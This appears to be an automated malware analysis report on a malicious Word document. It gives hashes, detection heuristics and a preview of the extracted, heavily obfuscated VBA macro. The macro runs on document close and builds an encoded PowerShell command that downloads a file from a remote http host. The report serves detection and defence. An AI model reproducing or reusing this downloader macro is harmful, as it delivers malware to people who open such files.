Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 05284b4c194ecf29…

MALICIOUS

Office (OLE)

289.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-03-10
MD5: aa088a88dbdbcda52aaf37778040df6c SHA-1: ab25b4651fa9abcdf0684fe7a76be8ba5d043006 SHA-256: 05284b4c194ecf2910572d8e67415040eb3594f28abf04b12660fa2c940b0e13
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a legacy WordBasic AutoClose macro, which is a known indicator of malicious documents. The macro is designed to invoke cmd.exe, suggesting an attempt to execute a secondary payload. The presence of the AutoClose marker and the direct reference to cmd.exe strongly indicate a downloader or dropper functionality.

Heuristics 7

  • ClamAV: Doc.Malware.00536d-6708348-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6708348-0
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
    pIMilILnecmuwyXIPagYzEnatamiJYByKeS(3) = VarType(pIMilILnecmuwyXIPagYzEnatamiJYByKeS)
PUpaDuCUCEZIfuSuLaNAlATYcimarIl = "cmd.exe /c " + Chr(40 * 2) + "^o^W^e^r^" + Chr(100 + 10 + 5) + "^h^e^L^L^.^e^x^e^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^L^w^B^3^A^H^U^A^e^Q^B^k^A^G^8^A^c^"
Dim TOloMecyPiSezIqAqUBYSamIsasnyh(4)
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Const PYBAQIpeaECIgyXYdYXUbyfVePiTenIVOsymaGyiyLyx = 0
Sub AutoClose()
On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 169954 bytes
SHA-256: a602a15bdd1ae3d74b4a7d90a09ddffb8308972899162edd5405946fcc934b69
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const PYBAQIpeaECIgyXYdYXUbyfVePiTenIVOsymaGyiyLyx = 0
Sub AutoClose()
On Error Resume Next
Dim NIBuacovItOmIgUseaYziuzIsyiYRyLifykE(4)
If "QaCoaoqypevROHe" <> CStr("QaCoaoqypevROHe3418") Then
   NIBuacovItOmIgUseaYziuzIsyiYRyLifykE(0) = VarType(VarType(VarType("QaCoaoqypevROHe")))
End If
NIBuacovItOmIgUseaYziuzIsyiYRyLifykE(1) = CInt(CStr("#3418"))
VarType QaCoaoqypevROHe
VarType NIBuacovItOmIgUseaYziuzIsyiYRyLifykE
If LenB(NIBuacovItOmIgUseaYziuzIsyiYRyLifykE(1)) > 11 Then
  NIBuacovItOmIgUseaYziuzIsyiYRyLifykE(2) = Weekday(34186)
End If
NIBuacovItOmIgUseaYziuzIsyiYRyLifykE(3) = VarType(NIBuacovItOmIgUseaYziuzIsyiYRyLifykE)
Dim KikENywAXiSUHykIkiDITIgaHehIFyFuiUd(4)
If "neTaxSOhEnEBe" <> CStr("neTaxSOhEnEBe7659") Then
   KikENywAXiSUHykIkiDITIgaHehIFyFuiUd(0) = VarType(VarType(VarType("neTaxSOhEnEBe")))
End If
KikENywAXiSUHykIkiDITIgaHehIFyFuiUd(1) = CInt(CStr("#7659"))
VarType neTaxSOhEnEBe
VarType KikENywAXiSUHykIkiDITIgaHehIFyFuiUd
If LenB(KikENywAXiSUHykIkiDITIgaHehIFyFuiUd(1)) > 10 Then
  KikENywAXiSUHykIkiDITIgaHehIFyFuiUd(2) = Weekday(76593)
End If
KikENywAXiSUHykIkiDITIgaHehIFyFuiUd(3) = VarType(KikENywAXiSUHykIkiDITIgaHehIFyFuiUd)
Dim XEpUfAxixoBoZIPyXuiagUGOlujAWUx(4)
Dim HGoOHumeDoBeayCOlERoBISokaHUTAWamEFYCeZ(4)
If "xGiWIUEju" <> CStr("xGiWIUEju5243") Then
   HGoOHumeDoBeayCOlERoBISokaHUTAWamEFYCeZ(0) = VarType(VarType(VarType("xGiWIUEju")))
End If
HGoOHumeDoBeayCOlERoBISokaHUTAWamEFYCeZ(1) = CInt(CStr("#5243"))
VarType xGiWIUEju
VarType HGoOHumeDoBeayCOlERoBISokaHUTAWamEFYCeZ
If LenB(HGoOHumeDoBeayCOlERoBISokaHUTAWamEFYCeZ(1)) > 11 Then
  HGoOHumeDoBeayCOlERoBISokaHUTAWamEFYCeZ(2) = Weekday(52437)
End If
HGoOHumeDoBeayCOlERoBISokaHUTAWamEFYCeZ(3) = VarType(HGoOHumeDoBeayCOlERoBISokaHUTAWamEFYCeZ)
Dim bYkUQyPIGAzuXexAmZAVfOOxaZehYLi(4)
If "sOfIBohOGAmUFAxeKOnuqY" <> CStr("sOfIBohOGAmUFAxeKOnuqY7861") Then
   bYkUQyPIGAzuXexAmZAVfOOxaZehYLi(0) = VarType(VarType(VarType("sOfIBohOGAmUFAxeKOnuqY")))
End If
bYkUQyPIGAzuXexAmZAVfOOxaZehYLi(1) = CInt(CStr("#7861"))
VarType sOfIBohOGAmUFAxeKOnuqY
VarType bYkUQyPIGAzuXexAmZAVfOOxaZehYLi
If LenB(bYkUQyPIGAzuXexAmZAVfOOxaZehYLi(1)) > 13 Then
  bYkUQyPIGAzuXexAmZAVfOOxaZehYLi(2) = Weekday(78617)
End If
bYkUQyPIGAzuXexAmZAVfOOxaZehYLi(3) = VarType(bYkUQyPIGAzuXexAmZAVfOOxaZehYLi)
If "cYiEDaFORuhAMutirixyKPU" <> CStr("cYiEDaFORuhAMutirixyKPU275") Then
Dim CYSiFynAByCujkuQacUlAMYLOQuwizejytIP(4)
If "vUGehOpYNuHaKYMo" <> CStr("vUGehOpYNuHaKYMo5646") Then
   CYSiFynAByCujkuQacUlAMYLOQuwizejytIP(0) = VarType(VarType(VarType("vUGehOpYNuHaKYMo")))
End If
CYSiFynAByCujkuQacUlAMYLOQuwizejytIP(1) = CInt(CStr("#5646"))
VarType vUGehOpYNuHaKYMo
VarType CYSiFynAByCujkuQacUlAMYLOQuwizejytIP
If LenB(CYSiFynAByCujkuQacUlAMYLOQuwizejytIP(1)) > 12 Then
  CYSiFynAByCujkuQacUlAMYLOQuwizejytIP(2) = Weekday(56467)
End If
CYSiFynAByCujkuQacUlAMYLOQuwizejytIP(3) = VarType(CYSiFynAByCujkuQacUlAMYLOQuwizejytIP)
   XEpUfAxixoBoZIPyXuiagUGOlujAWUx(0) = VarType(VarType(VarType("cYiEDaFORuhAMutirixyKPU")))
Dim kOGEgiJOcUvAmEduSUhyPOXsaSytECiayYHweQa(4)
If "PyPEhyDyVYgYiU" <> CStr("PyPEhyDyVYgYiU2838") Then
   kOGEgiJOcUvAmEduSUhyPOXsaSytECiayYHweQa(0) = VarType(VarType(VarType("PyPEhyDyVYgYiU")))
End If
kOGEgiJOcUvAmEduSUhyPOXsaSytECiayYHweQa(1) = CInt(CStr("#2838"))
VarType PyPEhyDyVYgYiU
VarType kOGEgiJOcUvAmEduSUhyPOXsaSytECiayYHweQa
If LenB(kOGEgiJOcUvAmEduSUhyPOXsaSytECiayYHweQa(1)) > 12 Then
  kOGEgiJOcUvAmEduSUhyPOXsaSytECiayYHweQa(2) = Weekday(28387)
End If
kOGEgiJOcUvAmEduSUhyPOXsaSytECiayYHweQa(3) = VarType(kOGEgiJOcUvAmEduSUhyPOXsaSytECiayYHweQa)
End If
XEpUfAxixoBoZIPyXuiagUGOlujAWUx(1) = CInt(CStr("#275"))
VarType cYiEDaFORuhAMutirixyKPU
VarType XEpUfAxixoBoZIPyXuiagUGOlujAWUx
Dim viReTiVnAaCygiiUHuryhIgyzEkivapea(4)
If "tCexiTArePO" <> CStr("tCexiTArePO5744") Then
   viReTiVnAaCygiiUHuryhIgyzEkivapea(0) = VarType(VarType(VarType("tCexiTArePO")))
End If
viReTiVnAaCygiiUHuryhIgyzEkivapea(1) = CInt(CStr("#5744"))
VarType tCexiTArePO
VarType viReTiVnAaCygiiUHuryhIgyzEkivapea
If LenB(viReTiVnAaCygiiUHuryhIgyzEkivapea(1)) > 13 Then
  viReTiVnAaCygiiUHuryhIgyzEkivapea(2) = Weekday(57443)
End If
viReTiVnAaCygiiUHuryhIgyzEkivapea(3) = VarType(viReTiVnAaCygiiUHuryhIgyzEkivapea)
If LenB(XEpUfAxixoBoZIPyXuiagUGOlujAWUx(1)) > 12 Then
Dim VonYcYduCaaopYZTiMlUiOnodeJuaOhIhoZ(4)
If "GETAVUNATUdeK" <> CStr("GETAVUNATUdeK9641") Then
   VonYcYduCaaopYZTiMlUiOnodeJuaOhIhoZ(0) = VarType(VarType(VarType("GETAVUNATUdeK")))
End If
VonYcYduCaaopYZTiMlUiOnodeJuaOhIhoZ(1) = CInt(CStr("#9641"))
VarType GETAVUNATUdeK
VarType VonYcYduCaaopYZTiMlUiOnodeJuaOhIhoZ
If LenB(VonYcYduCaaopYZTiMlUiOnodeJuaOhIhoZ(1)) > 10 Then
  VonYcYduCaaopYZTiMlUiOnodeJuaOhIhoZ(2) = Weekday(96413)
End If
VonYcYduCaaopYZTiMlUiOnodeJuaOhIhoZ(3) = VarType(VonYcYduCaaopYZTiMlUiOnodeJuaOhIhoZ)
Dim NoIHaSoxerizWyMuCeqefuCEz(4)
If "giHaZYRAZINEFyLxeqOsO" <> CStr("giHaZYRAZINEFyLxeqOsO5469") Then
   NoIHaSoxerizWyMuCeqefuCEz(0) = VarType(VarType(VarType("giHaZYRAZINEFyLxeqOsO")))
End If
NoIHaSoxerizWyMuCeqefuCEz(1) = CInt(CStr("#5469"))
VarType giHaZYRAZINEFyLxeqOsO
VarType NoIHaSoxerizWyMuCeqefuCEz
If LenB(NoIHaSoxerizWyMuCeqefuCEz(1)) > 12 Then
  NoIHaSoxerizWyMuCeqefuCEz(2) = Weekday(54692)
End If
NoIHaSoxerizWyMuCeqefuCEz(3) = VarType(NoIHaSoxerizWyMuCeqefuCEz)
  XEpUfAxixoBoZIPyXuiagUGOlujAWUx(2) = Weekday(2754)
End If
XEpUfAxixoBoZIPyXuiagUGOlujAWUx(3) = VarType(XEpUfAxixoBoZIPyXuiagUGOlujAWUx)
Dim xiaaxobepAPIWuqoDHicihuGYcEHEiUVIrai(4)
If "tYcEFUaUPaHimYXYdYh" <> CStr("tYcEFUaUPaHimYXYdYh2013") Then
Dim TAxOTojYGoSutoFYJrywIfOlajytYC(4)
If "RasOsiInahiVYSeMaNes" <> CStr("RasOsiInahiVYSeMaNes9818") Then
   TAxOTojYGoSutoFYJrywIfOlajytYC(0) = VarType(VarType(VarType("RasOsiInahiVYSeMaNes")))
End If
TAxOTojYGoSutoFYJrywIfOlajytYC(1) = CInt(CStr("#9818"))
VarType RasOsiInahiVYSeMaNes
VarType TAxOTojYGoSutoFYJrywIfOlajytYC
If LenB(TAxOTojYGoSutoFYJrywIfOlajytYC(1)) > 11 Then
  TAxOTojYGoSutoFYJrywIfOlajytYC(2) = Weekday(98184)
End If
TAxOTojYGoSutoFYJrywIfOlajytYC(3) = VarType(TAxOTojYGoSutoFYJrywIfOlajytYC)
Dim HaPoxUdyRENUnEGXacPudymuPeQeSUsiQuKu(4)
If "HufoHOevYzuH" <> CStr("HufoHOevYzuH9032") Then
   HaPoxUdyRENUnEGXacPudymuPeQeSUsiQuKu(0) = VarType(VarType(VarType("HufoHOevYzuH")))
End If
HaPoxUdyRENUnEGXacPudymuPeQeSUsiQuKu(1) = CInt(CStr("#9032"))
VarType HufoHOevYzuH
VarType HaPoxUdyRENUnEGXacPudymuPeQeSUsiQuKu
If LenB(HaPoxUdyRENUnEGXacPudymuPeQeSUsiQuKu(1)) > 10 Then
  HaPoxUdyRENUnEGXacPudymuPeQeSUsiQuKu(2) = Weekday(90323)
End If
HaPoxUdyRENUnEGXacPudymuPeQeSUsiQuKu(3) = VarType(HaPoxUdyRENUnEGXacPudymuPeQeSUsiQuKu)
   xiaaxobepAPIWuqoDHicihuGYcEHEiUVIrai(0) = VarType(VarType(VarType("tYcEFUaUPaHimYXYdYh")))
End If
Dim GQOGYJTYXaDYxgIbFIdUduZEzobE(4)
If "vUROLoKOzEs" <> CStr("vUROLoKOzEs5162") Then
   GQOGYJTYXaDYxgIbFIdUduZEzobE(0) = VarType(VarType(VarType("vUROLoKOzEs")))
End If
GQOGYJTYXaDYxgIbFIdUduZEzobE(1) = CInt(CStr("#5162"))
VarType vUROLoKOzEs
VarType GQOGYJTYXaDYxgIbFIdUduZEzobE
If LenB(GQOGYJTYXaDYxgIbFIdUduZEzobE(1)) > 13 Then
  GQOGYJTYXaDYxgIbFIdUduZEzobE(2) = Weekday(51625)
End If
GQOGYJTYXaDYxgIbFIdUduZEzobE(3) = VarType(GQOGYJTYXaDYxgIbFIdUduZEzobE)
xiaaxobepAPIWuqoDHicihuGYcEHEiUVIrai(1) = CInt(CStr("#2013"))
Dim vIaUlvYVYKeHOFyjIwtzafOFeuTaXERIzUqI(4)
If "CEVEgemUPAmEzYaIQEw" <> CStr("CEVEgemUPAmEzYaIQEw2830") Then
   vIaUlvYVYKeHOFyjIwtzafOFeuTaXERIzUqI(0) = VarType(VarType(VarType("CEVEgemUPAmEzYaIQEw")))
End If
vIaUlvYVYKeHOFyjIwtzafOFeuTaXERIzUqI(1) = CInt(CStr("#2830"))
VarType CEVEgemUPAmEzYaIQEw
VarType vIaUlvYVYKeHOFyjIwtzafOFeuTaXERIzUqI
If LenB(vIaUlvYVYKeHOFyjIwtzafOFeuTaXERIzUqI(1)) > 13 Then
  vIaUlvYVYKeHOFyjIwtzafOFeuTaXERIzUqI(2) = Weekday(28303)
End If
vIaUlvYVYKeHOFyjIwtzafOFeuTaXERIzUqI(3) = VarType(vIaUlvYVYKeHOFyjIwtzafOFeuTaXERIzUqI)
Dim TUZAbiiiwiKyROkTCAMeKSocysOHiWeZyPIwiNUDYT(4)
If "POvyMiwiqaxUQAdeZULoFaQ" <> CStr("POvyMiwiqaxUQAdeZULoFaQ1088") Then
   TUZAbiiiwiKyROkTCAMeKSocysOHiWeZyPIwiNUDYT(0) = VarType(VarType(VarType("POvyMiwiqaxUQAdeZULoFaQ")))
End If
TUZAbiiiwiKyROkTCAMeKSocysOHiWeZyPIwiNUDYT(1) = CInt(CStr("#1088"))
VarType POvyMiwiqaxUQAdeZULoFaQ
VarType TUZAbiiiwiKyROkTCAMeKSocysOHiWeZyPIwiNUDYT
If LenB(TUZAbiiiwiKyROkTCAMeKSocysOHiWeZyPIwiNUDYT(1)) > 11 Then
  TUZAbiiiwiKyROkTCAMeKSocysOHiWeZyPIwiNUDYT(2) = Weekday(10886)
End If
TUZAbiiiwiKyROkTCAMeKSocysOHiWeZyPIwiNUDYT(3) = VarType(TUZAbiiiwiKyROkTCAMeKSocysOHiWeZyPIwiNUDYT)
VarType tYcEFUaUPaHimYXYdYh
VarType xiaaxobepAPIWuqoDHicihuGYcEHEiUVIrai
If LenB(xiaaxobepAPIWuqoDHicihuGYcEHEiUVIrai(1)) > 12 Then
  xiaaxobepAPIWuqoDHicihuGYcEHEiUVIrai(2) = Weekday(201310)
Dim byGizyjCUdSOpYxyGJAJNUqOSUtUTIQiiivUVUB(4)
If "dOtuMyJYf" <> CStr("dOtuMyJYf6028") Then
   byGizyjCUdSOpYxyGJAJNUqOSUtUTIQiiivUVUB(0) = VarType(VarType(VarType("dOtuMyJYf")))
End If
byGizyjCUdSOpYxyGJAJNUqOSUtUTIQiiivUVUB(1) = CInt(CStr("#6028"))
VarType dOtuMyJYf
VarType byGizyjCUdSOpYxyGJAJNUqOSUtUTIQiiivUVUB
If LenB(byGizyjCUdSOpYxyGJAJNUqOSUtUTIQiiivUVUB(1)) > 10 Then
  byGizyjCUdSOpYxyGJAJNUqOSUtUTIQiiivUVUB(2) = Weekday(60283)
End If
byGizyjCUdSOpYxyGJAJNUqOSUtUTIQiiivUVUB(3) = VarType(byGizyjCUdSOpYxyGJAJNUqOSUtUTIQiiivUVUB)
End If
Dim bISEbeFoQYkyZAQEgUzidUzfiSERd(4)
If "lABlAiaXUBEbudyBYnyWiro" <> CStr("lABlAiaXUBEbudyBYnyWiro7764") Then
   bISEbeFoQYkyZAQEgUzidUzfiSERd(0) = VarType(VarType(VarType("lABlAiaXUBEbudyBYnyWiro")))
End If
bISEbeFoQYkyZAQEgUzidUzfiSERd(1) = CInt(CStr("#7764"))
VarType lABlAiaXUBEbudyBYnyWiro
VarType bISEbeFoQYkyZAQEgUzidUzfiSERd
If LenB(bISEbeFoQYkyZAQEgUzidUzfiSERd(1)) > 13 Then
  bISEbeFoQYkyZAQEgUzidUzfiSERd(2) = Weekday(77648)
End If
bISEbeFoQYkyZAQEgUzidUzfiSERd(3) = VarType(bISEbeFoQYkyZAQEgUzidUzfiSERd)
xiaaxobepAPIWuqoDHicihuGYcEHEiUVIrai(3) = VarType(xiaaxobepAPIWuqoDHicihuGYcEHEiUVIrai)
Dim JUseULepyfEnaISyxENobOrOkanNYCaDEi(4)
If "detePeqOmAR" <> CStr("detePeqOmAR9437") Then
   JUseULepyfEnaISyxENobOrOkanNYCaDEi(0) = VarType(VarType(VarType("detePeqOmAR")))
End If
JUseULepyfEnaISyxENobOrOkanNYCaDEi(1) = CInt(CStr("#9437"))
VarType detePeqOmAR
VarType JUseULepyfEnaISyxENobOrOkanNYCaDEi
If LenB(JUseULepyfEnaISyxENobOrOkanNYCaDEi(1)) > 12 Then
  JUseULepyfEnaISyxENobOrOkanNYCaDEi(2) = Weekday(94377)
End If
JUseULepyfEnaISyxENobOrOkanNYCaDEi(3) = VarType(JUseULepyfEnaISyxENobOrOkanNYCaDEi)
Dim pIMilILnecmuwyXIPagYzEnatamiJYByKeS(4)
If "RAfALUTUfoiaticI" <> CStr("RAfALUTUfoiaticI8631") Then
   pIMilILnecmuwyXIPagYzEnatamiJYByKeS(0) = VarType(VarType(VarType("RAfALUTUfoiaticI")))
End If
pIMilILnecmuwyXIPagYzEnatamiJYByKeS(1) = CInt(CStr("#8631"))
VarType RAfALUTUfoiaticI
VarType pIMilILnecmuwyXIPagYzEnatamiJYByKeS
If LenB(pIMilILnecmuwyXIPagYzEnatamiJYByKeS(1)) > 12 Then
  pIMilILnecmuwyXIPagYzEnatamiJYByKeS(2) = Weekday(86317)
End If
pIMilILnecmuwyXIPagYzEnatamiJYByKeS(3) = VarType(pIMilILnecmuwyXIPagYzEnatamiJYByKeS)
PUpaDuCUCEZIfuSuLaNAlATYcimarIl = "cmd.exe /c " + Chr(40 * 2) + "^o^W^e^r^" + Chr(100 + 10 + 5) + "^h^e^L^L^.^e^x^e^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^L^w^B^3^A^H^U^A^e^Q^B^k^A^G^8^A^c^"
Dim TOloMecyPiSezIqAqUBYSamIsasnyh(4)
Dim TynOlIwacoSiVfYjelYiIGiReRiLeQePada(4)
If "ZiMmusitEweg" <> CStr("ZiMmusitEweg2610") Then
   TynOlIwacoSiVfYjelYiIGiReRiLeQePada(0) = VarType(VarType(VarType("ZiMmusitEweg")))
End If
TynOlIwacoSiVfYjelYiIGiReRiLeQePada(1) = CInt(CStr("#2610"))
VarType ZiMmusitEweg
VarType TynOlIwacoSiVfYjelYiIGiReRiLeQePada
If LenB(TynOlIwacoSiVfYjelYiIGiReRiLeQePada(1)) > 13 Then
  TynOlIwacoSiVfYjelYiIGiReRiLeQePada(2) = Weekday(26103)
End If
TynOlIwacoSiVfYjelYiIGiReRiLeQePada(3) = VarType(TynOlIwacoSiVfYjelYiIGiReRiLeQePada)
Dim fuQAjIzYqEvurIhaPapAvyvyjZifURitALILOC(4)
If "MiDysoKuWYDuohYJic" <> CStr("MiDysoKuWYDuohYJic9781") Then
   fuQAjIzYqEvurIhaPapAvyvyjZifURitALILOC(0) = VarType(VarType(VarType("MiDysoKuWYDuohYJic")))
End If
fuQAjIzYqEvurIhaPapAvyvyjZifURitALILOC(1) = CInt(CStr("#9781"))
VarType MiDysoKuWYDuohYJic
VarType fuQAjIzYqEvurIhaPapAvyvyjZifURitALILOC
If LenB(fuQAjIzYqEvurIhaPapAvyvyjZifURitALILOC(1)) > 12 Then
  fuQAjIzYqEvurIhaPapAvyvyjZifURitALILOC(2) = Weekday(97811)
End If
fuQAjIzYqEvurIhaPapAvyvyjZifURitALILOC(3) = VarType(fuQAjIzYqEvurIhaPapAvyvyjZifURitALILOC)
If "xApewAceJaKiJoJiD" <> CStr("xApewAceJaKiJoJiD5644") Then
Dim TuTYfaMIkEBVEPYinodaZyRoSOfEzIsIQyTAP(4)
If "qKOLOseSURElIpUUfu" <> CStr("qKOLOseSURElIpUUfu6210") Then
   TuTYfaMIkEBVEPYinodaZyRoSOfEzIsIQyTAP(0) = VarType(VarType(VarType("qKOLOseSURElIpUUfu")))
End If
TuTYfaMIkEBVEPYinodaZyRoSOfEzIsIQyTAP(1) = CInt(CStr("#6210"))
VarType qKOLOseSURElIpUUfu
VarType TuTYfaMIkEBVEPYinodaZyRoSOfEzIsIQyTAP
If LenB(TuTYfaMIkEBVEPYinodaZyRoSOfEzIsIQyTAP(1)) > 10 Then
  TuTYfaMIkEBVEPYinodaZyRoSOfEzIsIQyTAP(2) = Weekday(62104)
End If
TuTYfaMIkEBVEPYinodaZyRoSOfEzIsIQyTAP(3) = VarType(TuTYfaMIkEBVEPYinodaZyRoSOfEzIsIQyTAP)
Dim TEKUQekaZImutOzSiJyWesEsugyVLajUPIWu(4)
If "fNeaeGUFysOGyT" <> CStr("fNeaeGUFysOGyT5163") Then
   TEKUQekaZImutOzSiJyWesEsugyVLajUPIWu(0) = VarType(VarType(VarType("fNeaeGUFysOGyT")))
End If
TEKUQekaZImutOzSiJyWesEsugyVLajUPIWu(1) = CInt(CStr("#5163"))
VarType fNeaeGUFysOGyT
VarType TEKUQekaZImutOzSiJyWesEsugyVLajUPIWu
If LenB(TEKUQekaZImutOzSiJyWesEsugyVLajUPIWu(1)) > 12 Then
  TEKUQekaZImutOzSiJyWesEsugyVLajUPIWu(2) = Weekday(51632)
End If
TEKUQekaZImutOzSiJyWesEsugyVLajUPIWu(3) = VarType(TEKUQekaZImutOzSiJyWesEsugyVLajUPIWu)
   TOloMecyPiSezIqAqUBYSamIsasnyh(0) = VarType(VarType(VarType("xApewAceJaKiJoJiD")))
Dim rYRebUbjOCOABeMUDEmokiBIpBOXYxYGOsiXYvuaoLEz(4)
If "hALyNyBataa" <> CStr("hALyNyBataa5148") Then
   rYRebUbjOCOABeMUDEmokiBIpBOXYxYGOsiXYvuaoLEz(0) = VarType(VarType(VarType("hALyNyBataa")))
End If
rYRebUbjOCOABeMUDEmokiBIpBOXYxYGOsiXYvuaoLEz(1) = CInt(CStr("#5148"))
VarType hALyNyBataa
VarType rYRebUbjOCOABeMUDEmokiBIpBOXYxYGOsiXYvuaoLEz
If LenB(rYRebUbjOCOABeMUDEmokiBIpBOXYxYGOsiXYvuaoLEz(1)) > 13 Then
  rYRebUbjOCOABeMUDEmokiBIpBOXYxYGOsiXYvuaoLEz(2) = Weekday(51481)
End If
rYRebUbjOCOABeMUDEmokiBIpBOXYxYGOsiXYvuaoLEz(3) = VarType(rYRebUbjOCOABeMUDEmokiBIpBOXYxYGOsiXYvuaoLEz)
End If
TOloMecyPiSezIqAqUBYSamIsasnyh(1) = CInt(CStr("#5644"))
VarType xApewAceJaKiJoJiD
Dim SofItiZNuqAdeBcEMIMOrDUGowUHeRiTUtICibobYc(4)
If "bDuHUrYseGiJ" <> CStr("bDuHUrYseGiJ207") Then
   SofItiZNuqAdeBcEMIMOrDUGowUHeRiTUtICibobYc(0) = VarType(VarType(VarType("bDuHUrYseGiJ")))
End If
SofItiZNuqAdeBcEMIMOrDUGowUHeRiTUtICibobYc(1) = CInt(CStr("#207"))
VarType bDuHUrYseGiJ
VarType SofItiZNuqAdeBcEMIMOrDUGowUHeRiTUtICibobYc
If LenB(SofItiZNuqAdeBcEMIMOrDUGowUHeRiTUtICibobYc(1)) > 11 Then
  SofItiZNuqAdeBcEMIMOrDUGowUHeRiTUtICibobYc(2) = Weekday(2078)
End If
SofItiZNuqAdeBcEMIMOrDUGowUHeRiTUtICibobYc(3) = VarType(SofItiZNuqAdeBcEMIMOrDUGowUHeRiTUtICibobYc)
VarType TOloMecyPiSezIqAqUBYSamIsasnyh
If LenB(TOloMecyPiSezIqAqUBYSamIsasnyh(1)) > 13 Then
  TOloMecyPiSezIqAqUBYSamIsasnyh(2) = Weekday(56445)
Dim tiWIFafVYfYcEVyaexMYhimyRyjACOdu(4)
If "bizUdAGYmyaESEhUjEB" <> CStr("bizUdAGYmyaESEhUjEB3991") Then
   tiWIFafVYfYcEVyaexMYhimyRyjACOdu(0) = VarType(VarType(VarType("bizUdAGYmyaESEhUjEB")))
End If
tiWIFafVYfYcEVyaexMYhimyRyjACOdu(1) = CInt(CStr("#3991"))
VarType bizUdAGYmyaESEhUjEB
VarType tiWIFafVYfYcEVyaexMYhimyRyjACOdu
If LenB(tiWIFafVYfYcEVyaexMYhimyRyjACOdu(1)) > 10 Then
  tiWIFafVYfYcEVyaexMYhimyRyjACOdu(2) = Weekday(39912)
End If
tiWIFafVYfYcEVyaexMYhimyRyjACOdu(3) = VarType(tiWIFafVYfYcEVyaexMYhimyRyjACOdu)
End If
TOloMecyPiSezIqAqUBYSamIsasnyh(3) = VarType(TOloMecyPiSezIqAqUBYSamIsasnyh)
Dim nOgvUmUcuToxIMAsuFYCarexuWYayKE(4)
If "GyquSEEduHApbinI" <> CStr("GyquSEEduHApbinI1763") Then
   nOgvUmUcuToxIMAsuFYCarexuWYayKE(0) = VarType(VarType(VarType("GyquSEEduHApbinI")))
End If
nOgvUmUcuToxIMAsuFYCarexuWYayKE(1) = CInt(CStr("#1763"))
VarType GyquSEEduHApbinI
VarType nOgvUmUcuToxIMAsuFYCarexuWYayKE
If LenB(nOgvUmUcuToxIMAsuFYCarexuWYayKE(1)) > 13 Then
  nOgvUmUcuToxIMAsuFYCarexuWYayKE(2) = Weekday(176310)
End If
nOgvUmUcuToxIMAsuFYCarexuWYayKE(3) = VarType(nOgvUmUcuToxIMAsuFYCarexuWYayKE)


Dim piBAnUDTedulynAMOvuqAhiTiBIWEdYhaXO(4)
Dim aOliSetEfolyjYXOcYMEKaNEwiaAf(4)
If "sYiyGoPiKiAPETaw" <> CStr("sYiyGoPiKiAPETaw9077") Then
   aOliSetEfolyjYXOcYMEKaNEwiaAf(0) = VarType(VarType(VarType("sYiyGoPiKiAPETaw")))
End If
aOliSetEfolyjYXOcYMEKaNEwiaAf(1) = CInt(CStr("#9077"))
VarType sYiyGoPiKiAPETaw
VarType aOliSetEfolyjYXOcYMEKaNEwiaAf
If LenB(aOliSetEfolyjYXOcYMEKaNEwiaAf(1)) > 11 Then
  aOliSetEfolyjYXOcYMEKaNEwiaAf(2) = Weekday(90771)
End If
aOliSetEfolyjYXOcYMEKaNEwiaAf(3) = VarType(aOliSetEfolyjYXOcYMEKaNEwiaAf)
Dim vYDyCYmJCIHEFWIwniPYKiDewRImu(4)
If "liDOtuKIfaREfATuXazUgE" <> CStr("liDOtuKIfaREfATuXazUgE4262") Then
   vYDyCYmJCIHEFWIwniPYKiDewRImu(0) = VarType(VarType(VarType("liDOtuKIfaREfATuXazUgE")))
End If
vYDyCYmJCIHEFWIwniPYKiDewRImu(1) = CInt(CStr("#4262"))
VarType liDOtuKIfaREfATuXazUgE
VarType vYDyCYmJCIHEFWIwniPYKiDewRImu
